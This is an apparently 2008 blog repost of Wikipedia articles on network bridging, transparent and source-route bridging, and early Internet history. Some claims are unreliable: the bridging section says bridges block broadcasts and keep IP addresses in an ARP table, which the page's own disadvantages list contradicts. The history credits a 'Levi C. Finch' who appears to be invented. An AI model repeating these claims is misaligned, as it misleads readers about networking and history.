encyclopedia</span></h3><br />technique used in <a href="http://en.wikipedia.org/wiki/Packet_switching" title="Packet switching">packet-switched</a> <a href="http://en.wikipedia.org/wiki/Computer_network" title="Computer network">computer networks</a>. Unlike <a href="http://en.wikipedia.org/wiki/Routing" title="Routing">routing</a>, bridging makes no assumptions about where in a network a particular address is located. Instead, it depends on <a href="http://en.wikipedia.org/wiki/Broadcasting_%28networks%29" class="mw-redirect" title="Broadcasting (networks)">broadcasting</a> to locate unknown devices. Once a device has been located, its location is recorded in a routing table where the <a href="http://en.wikipedia.org/wiki/MAC_address" title="MAC address">MAC address</a> is stored alongside its <a href="http://en.wikipedia.org/wiki/IP_Address" class="mw-redirect" title="IP Address">IP Address</a> so as to preclude the need for further broadcasting. This informations are stored in <a href="http://en.wikipedia.org/wiki/ARP" title="ARP">ARP</a> table <p>The utility of bridging is limited by its dependence on broadcasting, and is thus only used in <a href="http://en.wikipedia.org/wiki/Local_area_network" title="Local area network">local area networks</a>. Currently, two different bridging technologies are in widespread use. <i>Transparent bridging</i> predominates in <a href="http://en.wikipedia.org/wiki/Ethernet" title="Ethernet">Ethernet</a> networks; while <i>source routing</i> is used in <a href="http://en.wikipedia.org/wiki/Token_ring" title="Token ring">token ring</a> networks. Thus, bridging allows you to connect two different networks seamlessly on the <a href="http://en.wikipedia.org/wiki/Data_link_layer" title="Data link layer">data link layer</a>, e.g. a wireless access point with a wired <a href="http://en.wikipedia.org/wiki/Network_switch" title="Network switch">network switch</a> by using MAC addresses as an addressing system. A bridge and switch are very much alike.</p><h2><span class="mw-headline">Transparent bridging</span></h2> <p><i>Transparent bridging</i> refers to a form of bridging "transparent" to the end systems using it, in the sense that the end systems operate as if the bridge isn't there in the way that matters: bridges segment broadcasts between networks, and only allows specific addresses to pass through the bridge to the other network. It is used primarily in Ethernet networks, where it has been standardized as <a href="http://en.wikipedia.org/wiki/IEEE_802.1D" title="IEEE 802.1D">IEEE 802.1D</a>.</p> <p>The bridging functions are confined to <a href="http://en.wikipedia.org/wiki/Network_bridge" title="Network bridge">network bridges</a> which interconnect the <a href="http://en.wikipedia.org/wiki/Network_segment" title="Network segment">network segments</a>. The active parts of the network must form a <a href="http://en.wikipedia.org/wiki/Tree_%28graph_theory%29" title="Tree (graph theory)">tree</a>. This can be achieved either by physically building the network as a tree or by using bridges that use the <a href="http://en.wikipedia.org/wiki/Spanning_tree_protocol" title="Spanning tree protocol">spanning tree protocol</a> to build a loop-free network topology by selectively disabling network <a href="http://en.wikipedia.org/wiki/Broadcast_address" title="Broadcast address">broadcast addresses</a>. If one computer on network A sent a broadcast packet (packet with destination mac address FF:FF:FF:FF:FF:FF) to address FF:FF:FF:FF:FF:FF, the bridge would stop this from getting to network B. Note we have 3 addresses: source address and target address of the packet and the address where we send the packet. The mac address FF:FF:FF:FF:FF:FF is the broadcast address for both networks; when a <a href="http://en.wikipedia.org/wiki/Data_frame" class="mw-redirect" title="Data frame">frame</a> is sent to this address, the frame is then resent out on every available port on that specific network segment. This method allows the bridge to only switch frames that have a specific MAC address, that is, one that is not mac FF:FF:FF:FF:FF:FF. When an address is specified and a frame is sent, the bridge automatically switches the frame to both network segments while noting the source MAC addresses' home segment. This allows the bridge to send frames across the networks, by recording and resolving MAC addresses of devices on each side. Next, the bridges monitor all frames traveling on the network, noting the frame's source addresses in a table, and then broadcasting the frame with a specific destination (not broadcast) address to the other networks, effectively rebroadcasting it to every device available on every <a href="http://en.wikipedia.org/wiki/Network_segment" title="Network segment">network segment</a> until the specified destination is found. Without broadcast segmentation, the bridge would get caught in an infinite loop.</p> <p>Note that both source and destination addresses are used in this algorithm. Source addresses are recorded in entries in the table, while destination addresses are looked up in the table and matched to the proper segment to send the frame to.</p> <p>As an example, consider two hosts (A and B) and a bridge (C). The bridge has two interfaces, (C1, C2). A is connected to the C1 and B is connected to the C2. Note the physical connection is A - C - B, since C has two ports. A sends a frame to (C), and C records the source MAC address into its table. The bridge now has an address for A in its table, so it forwards it to B by broadcasting it to FF:FF:FF:FF:FF:FF, or every address possible. B, having received a packet from A, now transmits a packet in response. This time, the bridge has A's address in the table, so it records B's address sends it to A's unique MAC address specifically. Two-way communication is now possible between A and B without any further broadcasting. Note, however, that only the bridge along the direct path between A and B possess table entries for B. If a third host (D), on the same side as A sends a frame to B, the bridge simply records the address source, and broadcasts it to B's segment.</p> <p><a name="Source_route_bridging" id="Source_route_bridging"></a></p> <h2><span class="editsection"></span><span class="mw-headline">Source route bridging</span></h2> <p><i>Source route bridging</i> is used primarily on <a href="http://en.wikipedia.org/wiki/Token_ring" title="Token ring">token ring</a> networks, and is standardized in Section 9 of the <a href="http://en.wikipedia.org/wiki/IEEE_802.2" title="IEEE 802.2">IEEE 802.2</a> standard. The <a href="http://en.wikipedia.org/wiki/Spanning_tree_protocol" title="Spanning tree protocol">spanning tree protocol</a> is not used, the operation of the <a href="http://en.wikipedia.org/wiki/Network_bridge" title="Network bridge">network bridges</a> is simpler, and much of the bridging functions are performed by the end systems, particularly the sources, giving rise to its name.</p> <p>A field in the token ring header, the routing information field (RIF), is used to support source-route bridging. Upon sending a packet, a host attaches a RIF to the packet indicating the series of bridges and network segments to be used for delivering the packet to its destination. The bridges merely follow the list given in the RIF - if a given bridge is next in the list, it forwards the packet, otherwise it ignores it.</p> <p>When a host wishes to send a packet to a destination for the first time, it needs to determine an appropriate RIF. A special type of broadcast packet is used, which instructs the network bridges to append their bridge number and network segment number to each packet as it is forwarded. Loops are avoided by requiring each bridge to ignore packets which already contain its bridge number in the RIF field. At the destination, these broadcast packets are modified to be standard unicast packets and returned to the source along the reverse path listed in the RIF. Thus, for each route discovery packet broadcast, the source receives back a set of packets, one for each possible path through the network to the destination. It is then up to the source to choose one of these paths (probably the shortest one) for further communications with the destination.</p>Mr Monkeyhttp://www.blogger.com/profile/12120159785642031112noreply@blogger.com0tag:blogger.com,1999:blog-7210496932394038909.post-87320133868437235502008-06-22T20:52:00.000-07:002008-06-22T20:54:24.794-07:00Network bridge<h3 style="font-weight: normal;" id="siteSub"><span style="font-size:85%;">From Wikipedia, the free encyclopedia</span></h3> connects multiple <a href="http://en.wikipedia.org/wiki/Network_segment" title="Network segment">network segments</a> at the <a href="http://en.wikipedia.org/wiki/Data_link_layer" title="Data link layer">data link layer</a> (layer 2) of the <a href="http://en.wikipedia.org/wiki/OSI_model" title="OSI model">OSI model</a>, and the term <b>layer 2 switch</b> is often used interchangeably with bridge. Bridges are similar to <a href="http://en.wikipedia.org/wiki/Repeater" title="Repeater">repeaters</a> or <a href="http://en.wikipedia.org/wiki/Network_hub" title="Network hub">network hubs</a>, devices that connect network segments at the <a href="http://en.wikipedia.org/wiki/Physical_layer" title="Physical layer">physical layer</a>, however a bridge works by using <a href="http://en.wikipedia.org/wiki/Bridging_%28networking%29" title="Bridging (networking)">bridging</a> where traffic from one network is managed rather than simply rebroadcast to adjacent network segments. In Ethernet networks, the term "bridge" formally means a device that behaves according to the <a href="http://en.wikipedia.org/wiki/IEEE_802.1D" title="IEEE 802.1D">IEEE 802.1D</a> standard—this is most often referred to as a <a href="http://en.wikipedia.org/wiki/Network_switch" title="Network switch">network switch</a> in marketing literature. <p>Since bridging takes place at the data link layer of the <a href="http://en.wikipedia.org/wiki/OSI_model" title="OSI model">OSI model</a>, a bridge processes the information from each frame of data it receives. In an <a href="http://en.wikipedia.org/wiki/Ethernet" title="Ethernet">Ethernet</a> frame, this provides the <a href="http://en.wikipedia.org/wiki/MAC_address" title="MAC address">MAC address</a> of the frame's source and destination. Bridges use two methods to resolve the network segment that a MAC address belongs to.</p> <ul><li><b>Transparent bridging</b> – This method uses a forwarding database to send frames across network segments. The forwarding database is initially empty and entries in the database are built as the bridge receives frames. If an address entry is not found in the forwarding database, the frame is rebroadcast to all ports of the bridge, forwarding the frame to all segments except the source address. By means of these broadcast frames, the destination network will respond and a route will be created. Along with recording the network segment to which a particular frame is to be sent, bridges may also record a bandwidth metric to avoid looping when multiple paths are available. Devices that have this transparent bridging functionality are also known as <i>adaptive bridges</i>.</li></ul> <ul><li><b>Source route bridging</b> – With source route bridging two frame types are used in order to find the route to the destination network segment. Single-Route (SR) frames comprise most of the network traffic and have set destinations, while All-Route(AR) frames are used to find routes. Bridges send AR frames by broadcasting on all network branches; each step of the followed route is registered by the bridge performing it. Each frame has a maximum hop count, which is determined to be greater than the <a href="http://en.wikipedia.org/wiki/Graph_diameter" class="mw-redirect" title="Graph diameter">diameter</a> of the network graph, and is decremented by each bridge. Frames are dropped when this hop count reaches zero, to avoid indefinite looping of AR frames. The first AR frame which reaches its destination is considered to have followed the best route, and the route can be used for subsequent SR frames; the other AR frames are discarded. This method of locating a destination network can allow for indirect <a href="http://en.wikipedia.org/wiki/Load_balancing_%28computing%29" title="Load balancing (computing)">load balancing</a> among multiple bridges connecting two networks. The more a bridge is loaded, the less likely it is to take part in the route finding process for a new destination as it will be slow to forward packets. A new AR packet will find a different route over a less busy path if one exists. This method is very different from transparent bridge usage, where redundant bridges will be inactivated; however, more overhead is introduced to find routes, and space is wasted to store them in frames. A switch with a faster backplane can be just as good for performance, if not for fault tolerance.</li></ul><br /><h2><span class="mw-headline">Advantages of network bridges</span></h2> <ul><li>Self configuring</li><li>Primitive bridges are often inexpensive</li><li>Reduce size of collision domain by <a href="http://en.wikipedia.org/wiki/Microsegmentation" title="Microsegmentation">microsegmentation</a> in non switched networks</li><li>Transparent to protocols above the MAC layer</li><li>Allows the introduction of management - performance information and access control</li><li>LANs interconnected are separate and physical constraints such as number of stations, repeaters and segment length don't apply</li></ul> <p>or making</p> <p><a name="Disadvantages_of_network_bridges" id="Disadvantages_of_network_bridges"></a></p> <h2><span class="editsection"></span><span class="mw-headline">Disadvantages of network bridges</span></h2> <ul><li>Does not limit the scope of broadcasts</li><li>Does not scale to extremely large networks</li><li>Buffering introduces store and forward delays - on average traffic destined for bridge will be related to the number of stations on the rest of the <a href="http://en.wikipedia.org/wiki/LAN" class="mw-redirect" title="LAN">LAN</a></li><li>Bridging of different MAC protocols introduces errors</li><li>Because bridges do more than repeaters by viewing MAC addresses, the extra processing makes them slower than <a href="http://en.wikipedia.org/wiki/Repeaters" class="mw-redirect" title="Repeaters">repeaters</a></li><li>Bridges are more expensive than repeaters</li></ul> <p><a name="Bridging_versus_routing" id="Bridging_versus_routing"></a></p> <h2><span class="editsection"></span><span class="mw-headline">Bridging versus routing</span></h2> <p><a href="http://en.wikipedia.org/wiki/Bridging_%28networking%29" title="Bridging (networking)">Bridging</a> and <a href="http://en.wikipedia.org/wiki/Routing" title="Routing">Routing</a> are both ways of performing data control, but work through different methods. Bridging takes place at <a href="http://en.wikipedia.org/wiki/OSI_model#Layer_2:_Data_Link_layer" title="OSI model">OSI Model Layer 2</a> (Data-Link Layer) while Routing takes place at the <a href="http://en.wikipedia.org/wiki/OSI_model#Layer_3:_Network_layer" title="OSI model">OSI Model Layer 3</a> (Network Layer). This difference means that a bridge directs frames according to hardware assigned <a href="http://en.wikipedia.org/wiki/MAC_address" title="MAC address">MAC addresses</a> while a router makes its decisions according to arbitrarily assigned <a href="http://en.wikipedia.org/wiki/IP_Address" class="mw-redirect" title="IP Address">IP Addresses</a>. As a result of this, bridges are not concerned with and are unable to distinguish <a href="http://en.wikipedia.org/wiki/Computer_networking" title="Computer networking">networks</a> while <a href="http://en.wikipedia.org/wiki/Routers" class="mw-redirect" title="Routers">routers</a> can.</p> <p>When designing a network, you can choose to put multiple segments into one bridged network or to divide it into different networks interconnected by routers. If a host is physically moved from one network area to another in a routed network, it has to get a new IP address; if this system is moved within a bridged network, it doesn't have to reconfigure anything.</p> <p><a name="Specific_uses_of_the_term_.22bridge.22" id="Specific_uses_of_the_term_.22bridge.22"></a></p> <h2><span class="editsection"></span> <span class="mw-headline">Specific uses of the term "bridge"</span></h2> <p>Documentation on <a href="http://en.wikipedia.org/wiki/Linux" title="Linux">Linux</a> bridging can be found in the <a href="http://www.linux-foundation.org/en/Net:Bridge" class="external text" title="http://www.linux-foundation.org/en/Net:Bridge" rel="nofollow">Linux networking wiki</a>. Linux bridging allows filtering and routing.</p> <p>Certain versions of <a href="http://en.wikipedia.org/wiki/Microsoft_Windows" title="Microsoft Windows">Windows</a> (including XP and Vista) allow for creating a <i>Network Bridge</i> - a network component that aggregates two or more <i>Network Connections</i> and establishes a bridging environment between them. Windows does not support creating more than one network bridge per system.</p> <p><a name="Filtering_Database" id="Filtering_Database"></a></p> <h2><span class="editsection"></span><span class="mw-headline">Filtering Database</span></h2> <p>To translate between two segments types, a bridge reads a <a href="http://en.wikipedia.org/wiki/Data_frame" class="mw-redirect" title="Data frame">frame's</a> destination <a href="http://en.wikipedia.org/wiki/MAC_address" title="MAC address">MAC address</a> and decides to either forward or filter. If the bridge determines that the destination <a href="http://en.wikipedia.org/wiki/Node_%28networking%29" title="Node (networking)">node</a> is on another segment on the network, it forwards it (retransmits) the <a href="http://en.wikipedia.org/wiki/Packet_%28information_technology%29" title="Packet (information technology)">packet</a> to that segment. If the destination address belongs to the same segment as the source address, the bridge filters (discards) the frame. As nodes transmit data through the bridge, the bridge establishes a filtering database (also known as a forwarding table) of known MAC addresses and their locations on the network. The bridge uses its filtering database to determine whether a packet should be forwarded or filtered.</p> <div id="toctitle"><span class="toctoggle"><br /></span></div>Mr Monkeyhttp://www.blogger.com/profile/12120159785642031112noreply@blogger.com0tag:blogger.com,1999:blog-7210496932394038909.post-40108857398290028222008-06-22T20:37:00.000-07:002008-06-22T20:46:25.276-07:00History of the Internet<h3 style="font-weight: normal; color: rgb(51, 255, 51);" id="siteSub"><span style="font-size:130%;">From Wikipedia, the free encyclopedia</span></h3><br /><p>Prior to the widespread inter-networking that led to the Internet, most communication networks were limited by their nature to only allow communications between the stations on the network, and the prevalent computer networking method was based on the central <a href="http://en.wikipedia.org/wiki/Mainframe_computer" title="Mainframe computer">mainframe</a> method. In the 1960s, computer researchers, <a href="http://en.wikipedia.org/w/index.php?title=Levi_C._Finch&action=edit&redlink=1" class="new" title="Levi C. Finch (page does not exist)">Levi C. Finch</a> and <a href="http://en.wikipedia.org/wiki/Robert_Taylor_%28computer_scientist%29" title="Robert Taylor (computer scientist)">Robert W. Taylor</a> pioneered calls for a joined-up global network to address interoperability problems. Concurrently, several research programs began to research principles of networking between separate physical networks, and this led to the development of <a href="http://en.wikipedia.org/wiki/Packet_switching" title="Packet switching">Packet switching</a>. These included <a href="http://en.wikipedia.org/wiki/Donald_Davies" title="Donald Davies">Donald Davies</a> (<a href="http://en.wikipedia.org/wiki/National_Physical_Laboratory" title="National Physical Laboratory">NPL</a>), <a href="http://en.wikipedia.org/wiki/Paul_Baran" title="Paul Baran">Paul Baran</a> (<a href="http://en.wikipedia.org/wiki/RAND" title="RAND">RAND</a> Corporation), and <a href="http://en.wikipedia.org/wiki/Leonard_Kleinrock" title="Leonard Kleinrock">Leonard Kleinrock's</a> <a href="http://en.wikipedia.org/wiki/MIT" class="mw-redirect" title="MIT">MIT</a> and <a href="http://en.wikipedia.org/wiki/UCLA" class="mw-redirect" title="UCLA">UCLA</a> research programs.</p> <p>This led to the development of several packet switched networking solutions in the late 1960s and 1970s, including <a href="http://en.wikipedia.org/wiki/ARPANET" title="ARPANET">ARPANET</a>, and <a href="http://en.wikipedia.org/wiki/X.25" title="X.25">X.25</a>. Additionally, public access and hobbyist networking systems grew in popularity, including <a href="http://en.wikipedia.org/wiki/UUCP" title="UUCP">UUCP</a>. They were however still disjointed separate networks, served only by limited <a href="http://en.wikipedia.org/wiki/Gateway_%28telecommunications%29" title="Gateway (telecommunications)">gateways</a> between networks. This led to the application of packet switching to develop a protocol for inter-networking, where multiple different networks could be joined together into a super-framework of networks. By defining a simple common network system, the <a href="http://en.wikipedia.org/wiki/Internet_protocol_suite" title="Internet protocol suite">Internet protocol suite</a>, the concept of the network could be separated from its physical implementation. This spread of inter-network began to form into the idea of a global inter-network that would be called '<a href="http://en.wikipedia.org/wiki/The_Internet" class="mw-redirect" title="The Internet">The Internet</a>', and this began to quickly spread as existing networks were converted to become compatible with this. This spread quickly across the advanced telecommunication networks of the western world, and then began to penetrate into the rest of the world as it became the de-facto international standard and global network. However, the disparity of growth led to a <a href="http://en.wikipedia.org/wiki/Digital_divide" title="Digital divide">digital divide</a> that is still a concern today.</p> <p>Following commercialisation and introduction of privately run <a href="http://en.wikipedia.org/wiki/Internet_Service_Providers" class="mw-redirect" title="Internet Service Providers">Internet Service Providers</a> in the 1980s, and its expansion into popular use in the 1990s, the Internet has had a drastic impact on culture and commerce. This includes the rise of near instant communication by <a href="http://en.wikipedia.org/wiki/E-mail" title="E-mail">e-mail</a>, text based discussion forums, the <a href="http://en.wikipedia.org/wiki/World_Wide_Web" title="World Wide Web">World Wide Web</a>. Investor speculation in new markets provided by these innovations would also lead to the inflation and collapse of the <a href="http://en.wikipedia.org/wiki/Dot-com_bubble" title="Dot-com bubble">Dot-com bubble</a>, a major market collapse. But despite this, growth of the Internet continued, and still does.</p><h2><span class="mw-headline">Before the Internet</span></h2> <p>In the 1950s and early 1960s, prior to the widespread inter-networking that led to the <b><a href="http://en.wikipedia.org/wiki/Internet" title="Internet">Internet</a></b>, most communication networks were limited by their nature to only allow communications between the stations on the network. Some networks had <a href="http://en.wikipedia.org/wiki/Gateway_%28telecommunications%29" title="Gateway (telecommunications)">gateways</a> or <a href="http://en.wikipedia.org/wiki/Network_bridge" title="Network bridge">bridges</a> between them, but these bridges were often limited or built specifically for a single use. One prevalent computer networking method was based on the central <a href="http://en.wikipedia.org/wiki/Mainframe_computer" title="Mainframe computer">mainframe</a> method, simply allowing its terminals to be connected via long <a href="http://en.wikipedia.org/wiki/Leased_line" title="Leased line">leased lines</a>. This method was used in the 1950s by <a href="http://en.wikipedia.org/wiki/Project_RAND" class="mw-redirect" title="Project RAND">Project RAND</a> to support researchers such as <a href="http://en.wikipedia.org/wiki/Herbert_Simon" title="Herbert Simon">Herbert Simon</a>, in <a href="http://en.wikipedia.org/wiki/Pittsburgh%2C_Pennsylvania" title="Pittsburgh, Pennsylvania">Pittsburgh, Pennsylvania</a>, when collaborating across the continent with researchers in <a href="http://en.wikipedia.org/wiki/Sullivan%2C_Illinois" title="Sullivan, Illinois">Sullivan, Illinois</a>, on <a href="http://en.wikipedia.org/wiki/Automated_theorem_proving" title="Automated theorem proving">automated theorem proving</a> and <a href="http://en.wikipedia.org/wiki/Artificial_intelligence" title="Artificial intelligence">artificial intelligence</a>.</p><h2><span class="mw-headline">Three terminals and an ARPA</span></h2> <dl><dd> <div class="noprint relarticle mainarticle"><i>Main articles: <a href="http://en.wikipedia.org/wiki/RAND" title="RAND">RAND</a> and <a href="http://en.wikipedia.org/wiki/ARPANET" title="ARPANET">ARPANET</a></i></div> </dd></dl> <p>A fundamental pioneer in the call for a global network, <a href="http://en.wikipedia.org/wiki/J.C.R._Licklider" class="mw-redirect" title="J.C.R. Licklider">J.C.R. Licklider</a>, articulated the ideas in his January 1960 paper, <a href="http://en.wikipedia.org/wiki/Man-Computer_Symbiosis" class="mw-redirect" title="Man-Computer Symbiosis">Man-Computer Symbiosis</a>.</p> <blockquote class="templatequote"> <div> <p>"A network of such [computers], connected to one another by wide-band communication lines [which provided] the functions of present-day libraries together with anticipated advances in information storage and retrieval and [other] symbiotic functions."</p> </div> <div class="templatequotecite">—<cite>J.C.R. Licklider, <sup id="cite_ref-0" class="reference"><a href="http://en.wikipedia.org/wiki/History_of_the_Internet#cite_note-0" title="">[1]</a></sup></cite></div> </blockquote> <p>In October 1962, Licklider was appointed head of the <a href="http://en.wikipedia.org/wiki/United_States_Department_of_Defense" title="United States Department of Defense">United States Department of Defense's</a> Advanced Research Projects Agency, now known as <a href="http://en.wikipedia.org/wiki/DARPA" title="DARPA">DARPA</a>, within the information processing office. There he formed an informal group within DARPA to further computer research. As part of the information processing office's role, three network terminals had been installed: one for <a href="http://en.wikipedia.org/wiki/System_Development_Corporation" title="System Development Corporation">System Development Corporation</a> in <a href="http://en.wikipedia.org/wiki/Santa_Monica%2C_California" title="Santa Monica, California">Santa Monica</a>, one for <a href="http://en.wikipedia.org/wiki/Project_Genie" title="Project Genie">Project Genie</a> at the <a href="http://en.wikipedia.org/wiki/University_of_California%2C_Berkeley" title="University of California, Berkeley">University of California, Berkeley</a> and one for the <a href="http://en.wikipedia.org/wiki/Compatible_Time-Sharing_System" title="Compatible Time-Sharing System">Compatible Time-Sharing System</a> project at the <a href="http://en.wikipedia.org/wiki/Massachusetts_Institute_of_Technology" title="Massachusetts Institute of Technology">Massachusetts Institute of Technology</a> (MIT). Licklider's identified need for inter-networking would be made obviously evident by the problems this caused.</p> <blockquote class="templatequote"> <div> <p>"For each of these three terminals, I had three different sets of user commands. So if I was talking online with someone at S.D.C. and I wanted to talk to someone I knew at Berkeley or M.I.T. about this, I had to get up from the S.D.C. terminal, go over and log into the other terminal and get in touch with them. [...] I said, it's obvious what to do (But I don't want to do it): If you have these three terminals, there ought to be one terminal that goes anywhere you want to go where you have interactive computing. That idea is the ARPAnet."</p> </div> <div class="templatequotecite">—<cite><a href="http://en.wikipedia.org/wiki/Robert_Taylor_%28computer_scientist%29" title="Robert Taylor (computer scientist)">Robert W. Taylor</a>, co-writer with Licklider of "The Computer as a Communications Device", in an interview with the <a href="http://en.wikipedia.org/wiki/New_York_Times" class="mw-redirect" title="New York Times">New York Times</a>, <sup id="cite_ref-1" class="reference"><a href="http://en.wikipedia.org/wiki/History_of_the_Internet#cite_note-1" title="">[2]</a></sup></cite></div> </blockquote> <p><a name="Packet_switching" id="Packet_switching"></a></p> <h2><span class="mw-headline">Packet switching</span></h2> <dl><dd> <div class="noprint relarticle mainarticle"><i>Main article: <a href="http://en.wikipedia.org/wiki/Packet_switching" title="Packet switching">Packet switching</a></i></div> </dd></dl> <p>At the tip of the inter-networking problem lay the issue of connecting separate physical networks to form one logical network, with much wasted capacity inside the assorted separate networks. During the 1960s, <a href="http://en.wikipedia.org/wiki/Donald_Davies" title="Donald Davies">Donald Davies</a> (<a href="http://en.wikipedia.org/wiki/National_Physical_Laboratory" title="National Physical Laboratory">NPL</a>), <a href="http://en.wikipedia.org/wiki/Paul_Baran" title="Paul Baran">Paul Baran</a> (<a href="http://en.wikipedia.org/wiki/RAND" title="RAND">RAND</a> Corporation), and <a href="http://en.wikipedia.org/wiki/Leonard_Kleinrock" title="Leonard Kleinrock">Leonard Kleinrock</a> (MIT) developed and implemented <a href="http://en.wikipedia.org/wiki/Packet_switching" title="Packet switching">packet switching</a>. The notion that the Internet was developed to survive a nuclear attack has its roots in the early theories developed by RAND, but is an urban legend, not supported by any Internet Engineering Task Force or other document. Early networks used for the command and control of nuclear forces were message switched, not packet-switched, although current strategic military networks are, indeed, packet-switching and connectionless. Baran's research had approached packet switching from studies of decentralisation to avoid combat damage compromising the entire network.<sup id="cite_ref-2" class="reference"><a href="http://en.wikipedia.org/wiki/History_of_the_Internet#cite_note-2" title="">[3]</a></sup></p> <p><a name="Networks_that_led_to_the_Internet" id="Networks_that_led_to_the_Internet"></a></p> <h2><span class="mw-headline">Networks that led to the Internet</span></h2> <p><a name="ARPANET" id="ARPANET"></a></p> <h3><span class="mw-headline">ARPANET</span></h3> <dl><dd> <div class="noprint relarticle mainarticle"><i>Main article: <a href="http://en.wikipedia.org/wiki/ARPANET" title="ARPANET">ARPANET</a></i></div> </dd></dl> <div class="thumb tright"> <div class="thumbinner" style="width: 302px;"><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhMat5MHzasK-xjYkHCYClkU5_TllrYdsPsxek1Vtg0p__xYtNTMiwXBvHcnSWTAp_i8lRzI_yTvRLOrbIcmUOINXkgfcyHD69ixZtnhQr2Omf_dOKgf_QeJQL3JlQaHK7yz0dwXJCAJd4/s1600-h/300px-Leonard-Kleinrock-and-IMP1.png"><img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer;" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhMat5MHzasK-xjYkHCYClkU5_TllrYdsPsxek1Vtg0p__xYtNTMiwXBvHcnSWTAp_i8lRzI_yTvRLOrbIcmUOINXkgfcyHD69ixZtnhQr2Omf_dOKgf_QeJQL3JlQaHK7yz0dwXJCAJd4/s320/300px-Leonard-Kleinrock-and-IMP1.png" alt="" id="BLOGGER_PHOTO_ID_5214916712809299506" border="0" /></a><a href="http://en.wikipedia.org/wiki/Image:Leonard-Kleinrock-and-IMP1.png" class="image" title="Len Kleinrock and the first IMP."></a> <div class="thumbcaption"> <div class="magnify"><a href="http://en.wikipedia.org/wiki/Image:Leonard-Kleinrock-and-IMP1.png" class="internal" title="Enlarge"><img src="http://en.wikipedia.org/skins-1.5/common/images/magnify-clip.png" alt="" height="11" width="15" /></a></div> <a href="http://en.wikipedia.org/wiki/Leonard_Kleinrock" title="Leonard Kleinrock">Len Kleinrock</a> and the first <a href="http://en.wikipedia.org/wiki/Interface_Message_Processor" title="Interface Message Processor">IMP</a>.<sup id="cite_ref-3" class="reference"><a href="http://en.wikipedia.org/wiki/History_of_the_Internet#cite_note-3" title="">[4]</a></sup></div> </div> </div> <p>Promoted to the head of the information processing office at <a href="http://en.wikipedia.org/wiki/Defense_Advanced_Research_Projects_Agency" class="mw-redirect" title="Defense Advanced Research Projects Agency">DARPA</a>, Robert Taylor intended to realize Licklider's ideas of an interconnected networking system. Bringing in <a href="http://en.wikipedia.org/wiki/Larry_Roberts" class="mw-redirect" title="Larry Roberts">Larry Roberts</a> from MIT, he initiated a project to build such a network. The first ARPANET link was established between the <a href="http://en.wikipedia.org/wiki/University_of_California%2C_Los_Angeles" title="University of California, Los Angeles">University of California, Los Angeles</a> and the <a href="http://en.wikipedia.org/wiki/Stanford_Research_Institute" class="mw-redirect" title="Stanford Research Institute">Stanford Research Institute</a> on 22:30 hours on <a href="http://en.wikipedia.org/wiki/October_29" title="October 29">October 29</a>, <a href="http://en.wikipedia.org/wiki/1969" title="1969">1969</a>. By <a href="http://en.wikipedia.org/wiki/December_5" title="December 5">5 December</a> <a href="http://en.wikipedia.org/wiki/1969" title="1969">1969</a>, a 4-node network was connected by adding the <a href="http://en.wikipedia.org/wiki/University_of_Utah" title="University of Utah">University of Utah</a> and the <a href="http://en.wikipedia.org/wiki/University_of_California%2C_Santa_Barbara" title="University of California, Santa Barbara">University of California, Santa Barbara</a>. Building on ideas developed in <a href="http://en.wikipedia.org/wiki/ALOHAnet" title="ALOHAnet">ALOHAnet</a>, the ARPANET grew rapidly. By 1981, the number of hosts had grown to 213, with a new host being added approximately every twenty days.<sup id="cite_ref-4" class="reference"><a href="http://en.wikipedia.org/wiki/History_of_the_Internet#cite_note-4" title="">[5]</a></sup><sup id="cite_ref-5" class="reference"><a href="http://en.wikipedia.org/wiki/History_of_the_Internet#cite_note-5" title="">[6]</a></sup></p> <p>ARPANET became the technical core of what would become the Internet, and a primary tool in developing the technologies used. ARPANET development was centered around the <a href="http://en.wikipedia.org/wiki/Request_for_Comments" title="Request for Comments">Request for Comments</a> (RFC) process, still used today for proposing and distributing Internet Protocols and Systems. <a href="http://tools.ietf.org/html/rfc1" class="external" title="http://tools.ietf.org/html/rfc1">RFC 1</a>, entitled "Host Software", was written by <a href="http://en.wikipedia.org/wiki/Steve_Crocker" title="Steve Crocker">Steve Crocker</a> from the <a href="http://en.wikipedia.org/wiki/University_of_California%2C_Los_Angeles" title="University of California, Los Angeles">University of California, Los Angeles</a>, and published on <a href="http://en.wikipedia.org/wiki/April_7" title="April 7">April 7</a>, <a href="http://en.wikipedia.org/wiki/1969" title="1969">1969</a>. These early years were documented in the 1972 film <a href="http://en.wikipedia.org/wiki/Computer_Networks:_The_Heralds_of_Resource_Sharing" title="Computer Networks: The Heralds of Resource Sharing">Computer Networks: The Heralds of Resource Sharing</a>.</p> <p>International collaborations on ARPANET were sparse. For various political reasons, European developers were concerned with developing the <a href="http://en.wikipedia.org/wiki/X.25" title="X.25">X.25</a> networks. Notable exceptions were the <a href="http://www.norsar.no/NORSAR/history/internet.html" class="external text" title="http://www.norsar.no/NORSAR/history/internet.html" rel="nofollow">Norwegian Seismic Array</a> (NORSAR) in 1972, followed in 1973 by <a href="http://en.wikipedia.org/wiki/Sweden" title="Sweden">Sweden</a> with satellite links to the <a href="http://en.wikipedia.org/wiki/Tanum" title="Tanum">Tanum</a> Earth Station and <a href="http://en.wikipedia.org/wiki/University_College_London" title="University College London">University College London</a>.</p> <p><a name="X.25_and_public_access" id="X.25_and_public_access"></a></p> <h3><span class="mw-headline">X.25 and public access</span></h3> <dl><dd> <div class="noprint relarticle mainarticle"><i>Main articles: <a href="http://en.wikipedia.org/wiki/X.25" title="X.25">X.25</a>, <a href="http://en.wikipedia.org/wiki/Bulletin_board_system" title="Bulletin board system">Bulletin board system</a>, and <a href="http://en.wikipedia.org/wiki/FidoNet" title="FidoNet">FidoNet</a></i></div> </dd></dl> <p>Following on from ARPA's research, packet switching network standards were developed by the <a href="http://en.wikipedia.org/wiki/International_Telecommunication_Union" title="International Telecommunication Union">International Telecommunication Union</a> (ITU) in the form of X.25 and related standards. In 1974, X.25 formed the basis for the SERCnet network between British academic and research sites, which later became <a href="http://en.wikipedia.org/wiki/JANET" title="JANET">JANET</a>. The initial ITU Standard on X.25 was approved in March 1976. This standard was based on the concept of virtual circuits.</p> <p>The <a href="http://en.wikipedia.org/wiki/General_Post_Office_%28United_Kingdom%29" class="mw-redirect" title="General Post Office (United Kingdom)">British Post Office</a>, <a href="http://en.wikipedia.org/wiki/Western_Union" title="Western Union">Western Union International</a> and <a href="http://en.wikipedia.org/wiki/Tymnet" title="Tymnet">Tymnet</a> collaborated to create the first international packet switched 